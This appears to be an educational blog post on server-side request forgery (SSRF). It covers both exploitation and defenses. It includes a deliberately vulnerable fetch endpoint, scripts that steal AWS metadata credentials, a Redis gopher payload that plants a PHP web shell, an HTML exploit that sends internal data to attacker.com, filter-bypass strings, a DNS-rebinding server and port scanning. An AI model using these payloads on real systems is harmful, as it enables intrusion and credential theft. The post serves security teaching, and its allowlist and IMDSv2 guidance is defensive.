66. Complete SSRF Guide: Turning a Server Against Itself
TL;DR: Server-Side Request Forgery (SSRF) is a vulnerability that makes a server send requests to arbitrary URLs chosen by an attacker. It can enable access to internal networks, theft of cloud metadata, port scanning, and other attacks.
What is SSRF?
SSRF occurs when a server fetches an external resource and the user can control its URL.
Vulnerable code example
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
response = requests.get(url) # 💀 Requests raw user input!
return response.text
Usage examples:
# Normal use
curl "https://victim.com/fetch?url=https://example.com"
# Attack: access the internal network
curl "https://victim.com/fetch?url=http://localhost:6379"
curl "https://victim.com/fetch?url=http://192.168.1.100/admin"
Why is it dangerous?
1. Access to internal networks
A server usually sits behind a firewall and can reach internal services that are inaccessible from the Internet:
Internet → [Firewall] → Web server (vulnerable) → Internal DB/Redis/Admin panel
↑
Attacker controlled
2. Theft of cloud metadata
In cloud environments such as AWS, GCP, and Azure, the instance metadata service can expose highly sensitive information:
# AWS EC2 metadata (169.254.169.254)
curl "https://victim.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"
Response:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJal...",
"Token": "IQoJb3...",
"Expiration": "2026-03-03T06:30:00Z"
}
This can expose temporary AWS credentials and potentially allow access to cloud resources.
3. Port scanning and service fingerprinting
Response times and error messages can reveal the structure of an internal network:
import requests
import time
for port in range(1, 1000):
start = time.time()
try:
requests.get(f"https://victim.com/fetch?url=http://192.168.1.10:{port}", timeout=2)
except:
pass
elapsed = time.time() - start
if elapsed < 1.5: # Fast response = possibly open port
print(f"Port {port} is OPEN")
Practical attack scenarios
Scenario 1: stealing AWS IAM role credentials
# Step 1: check whether the metadata API is reachable
url1 = "http://169.254.169.254/latest/meta-data/"
response = requests.get(f"https://victim.com/fetch?url={url1}")
print(response.text)
# Output: iam/, instance-id/, security-groups/ ...
# Step 2: identify the IAM role name
url2 = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
response = requests.get(f"https://victim.com/fetch?url={url2}")
role_name = response.text.strip()
print(f"Role: {role_name}")
# Step 3: retrieve credentials
url3 = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
response = requests.get(f"https://victim.com/fetch?url={url3}")
creds = response.json()
print(f"AccessKeyId: {creds['AccessKeyId']}")
print(f"SecretAccessKey: {creds['SecretAccessKey']}")
print(f"Token: {creds['Token']}")
# Step 4: test permissions with the AWS CLI
# export AWS_ACCESS_KEY_ID=...
# export AWS_SECRET_ACCESS_KEY=...
# export AWS_SESSION_TOKEN=...
# aws s3 ls # List S3 buckets
Scenario 2: Redis RCE (CVE-2022-0543)
If Redis runs unauthenticated on an internal network:
# Identify a Redis server
curl "https://victim.com/fetch?url=http://192.168.1.100:6379"
# Send Redis commands through the Gopher protocol
# 1. Write a web shell through Redis
payload = """
*3
$3
SET
$8
webshell
$50
<?php system($_GET['cmd']); ?>
*4
$6
CONFIG
$3
SET
$3
dir
$13
/var/www/html
*4
$6
CONFIG
$3
SET
$10
dbfilename
$9
shell.php
*1
$4
SAVE
"""
# URL-encode the payload
import urllib.parse
encoded = urllib.parse.quote(payload.replace('\n', '\r\n'))
gopher_url = f"gopher://192.168.1.100:6379/_{encoded}"
curl "https://victim.com/fetch?url={gopher_url}"
This creates /var/www/html/shell.php, resulting in RCE if all stated preconditions hold.
Scenario 3: PDF generator SSRF
SSRF can occur when a PDF-generation service converts HTML to PDF:
<!-- exploit.html -->
<html>
<body>
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
<img src="http://admin.internal/secret-api?token=XXXX">
<script>
fetch('http://192.168.1.50:8080/admin')
.then(r => r.text())
.then(data => {
// exfiltrate data
fetch('https://attacker.com/log?data=' + btoa(data));
});
</script>
</body>
</html>
curl -X POST https://victim.com/convert-to-pdf \
-d '{"html_url": "https://attacker.com/exploit.html"}'
The resulting PDF may render metadata or internal pages.
Bypass techniques
1. Exploiting URL-parsing differences
Many blacklist filters use simple string matching:
# Vulnerable filter
def is_safe_url(url):
blacklist = ['localhost', '127.0.0.1', '169.254.169.254']
return not any(bad in url for bad in blacklist)
Potential bypasses to include in authorized regression tests:
# 1. Letter case
http://LocalHost/
# 2. IP encodings
http://127.1/ # Equivalent to 127.0.0.1
http://2130706433/ # 0x7F000001 in decimal
http://0x7f.0x0.0x0.0x1/ # Hexadecimal
# 3. DNS rebinding
http://spoofed.burpcollaborator.net/ # Configure DNS to answer with 127.0.0.1
# 4. Redirect chain
http://attacker.com/redirect → 302 → http://169.254.169.254/
# 5. URL-parser confusion
http://google.com@127.0.0.1/ # user@host syntax
http://127.0.0.1#@google.com # fragment syntax
2. Protocol smuggling
The fetcher may support protocols other than HTTP:
# Gopher (Redis, SMTP, FTP, and others)
gopher://192.168.1.100:6379/_SET%20key%20value
# File (read a local file)
file:///etc/passwd
# Dict (port scanning)
dict://192.168.1.100:22/
# LDAP (LDAP injection)
ldap://192.168.1.100:389/dc=example,dc=com
3. DNS rebinding
An attacker-controlled DNS server can change its answer:
# dns_rebind.py
from dnslib import DNSRecord, RR, A
from dnslib.server import DNSServer
class RebindResolver:
def __init__(self):
self.counter = 0
def resolve(self, request, handler):
reply = request.reply()
qname = request.q.qname
# First request: public IP that passes the filter
if self.counter == 0:
reply.add_answer(RR(qname, rdata=A("1.2.3.4")))
# Second request: internal IP used by the attack
else:
reply.add_answer(RR(qname, rdata=A("169.254.169.254")))
self.counter += 1
return reply
# Start a DNS server on port 53
resolver = RebindResolver()
server = DNSServer(resolver, port=53, address="0.0.0.0")
server.start()
Usage:
curl "https://victim.com/fetch?url=http://evil.attacker.com/"
# The server resolves DNS: first answer is public 1.2.3.4
# A later request receives the internal address 169.254.169.254
Defenses
1. Allowlist-based validation
from urllib.parse import urlparse
ALLOWED_HOSTS = ['example.com', 'api.partner.com']
def is_safe_url(url):
try:
parsed = urlparse(url)
# Validate the protocol
if parsed.scheme not in ['http', 'https']:
return False
# Enforce the hostname allowlist
if parsed.hostname not in ALLOWED_HOSTS:
return False
return True
except:
return False
2. Network-level blocking
import ipaddress
import socket
def is_private_ip(hostname):
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
# Block private and reserved IP addresses
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_reserved:
return True
# Cloud metadata addresses
if ip == '169.254.169.254': # AWS/GCP/Azure
return True
return False
except:
return True # Treat DNS failure as suspicious
def fetch_url_safe(url):
parsed = urlparse(url)
# Revalidate immediately before the request to reduce DNS-rebinding risk
if is_private_ip(parsed.hostname):
raise ValueError("Private IP detected")
response = requests.get(url, timeout=5)
return response.text
3. Principle of least privilege
# AWS IMDSv2 (session token required)
# /etc/cloud/cloud.cfg.d/99-imdsv2.cfg
datasource:
Ec2:
metadata_urls:
- http://169.254.169.254:80
timeout: 10
max_wait: 120
# Enable IMDSv2 (session token required)
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1
IMDSv2 requires a two-step exchange:
# Step 1: request a session token with PUT
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# Step 2: request metadata with the token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/
Many constrained SSRF primitives cannot send both a PUT request and a custom header, reducing exposure.
4. Response filtering
def fetch_with_filtering(url):
response = requests.get(url, timeout=5)
# Detect sensitive keywords
sensitive_patterns = [
'AccessKeyId',
'SecretAccessKey',
'private_key',
'password',
]
content = response.text.lower()
for pattern in sensitive_patterns:
if pattern.lower() in content:
logger.warning(f"Sensitive data detected in SSRF response: {url}")
return "[REDACTED]"
return response.text
CTF and bug-bounty tips
1. Common SSRF surfaces
Frequently affected features include:
- Image upload by URL
- PDF or document converters
- Webhook configuration
- Proxy or tunnel services
- RSS feed readers
- URL preview or unfurling
- QR-code generators
2. Testing checklist
# Use Burp Collaborator or webhook.site
TEST_URL="https://YOUR_UNIQUE_ID.burpcollaborator.net"
# 1. Basic SSRF
?url=$TEST_URL
# 2. Internal addresses
?url=http://127.0.0.1:80
?url=http://localhost:80
?url=http://[::1]:80
# 3. Cloud metadata
?url=http://169.254.169.254/latest/meta-data/
# 4. Protocols
?url=file:///etc/passwd
?url=gopher://127.0.0.1:6379/_INFO
# 5. Redirects
?url=http://attacker.com/redirect.php
# 6. DNS rebinding
?url=http://rebind.attacker.com/
3. Detecting blind SSRF
When no response is visible:
# Timing-based detection
import time
# 1. Open port (fast response)
start = time.time()
requests.get(f"https://victim.com/fetch?url=http://192.168.1.100:80", timeout=10)
open_time = time.time() - start
# 2. Closed port (slow response or timeout)
start = time.time()
requests.get(f"https://victim.com/fetch?url=http://192.168.1.100:12345", timeout=10)
closed_time = time.time() - start
if open_time < 2 and closed_time > 5:
print("Blind SSRF confirmed via timing!")
DNS-based detection:
# Burp Collaborator or Interactsh
?url=http://UNIQUE_ID.burpcollaborator.net
# A DNS log is evidence that the server performed a lookup
Real-world cases
Case 1: Capital One breach (2019)
- SSRF led to EC2 metadata exposure.
- Personal data belonging to more than 100 million people was compromised.
- The attacker exploited an SSRF path involving a WAF misconfiguration.
Case 2: Google Cloud Shell (2020)
- SSRF was found in a PDF-generation feature.
- The issue enabled access to an internal Kubernetes API.
- The report received a $7,500 bug bounty.
Case 3: Uber bug bounty (2018)
- An image-upload feature had SSRF.
- Internal-service scanning exposed a sensitive API.
- The report received a reward of more than $5,000.
Conclusion
SSRF looks simple but is very difficult to defend against correctly.
From an attacker's perspective:
- Internal networks contain high-value targets.
- SSRF is particularly dangerous in cloud environments.
- Blind SSRF can still be useful.
From a defender's perspective:
- Prefer narrow allowlists over broad blocklists.
- Network segmentation is essential.
- Apply current protections such as IMDSv2.
The next post covers time-based blind SQL injection exploitation.
Happy hacking! 🥞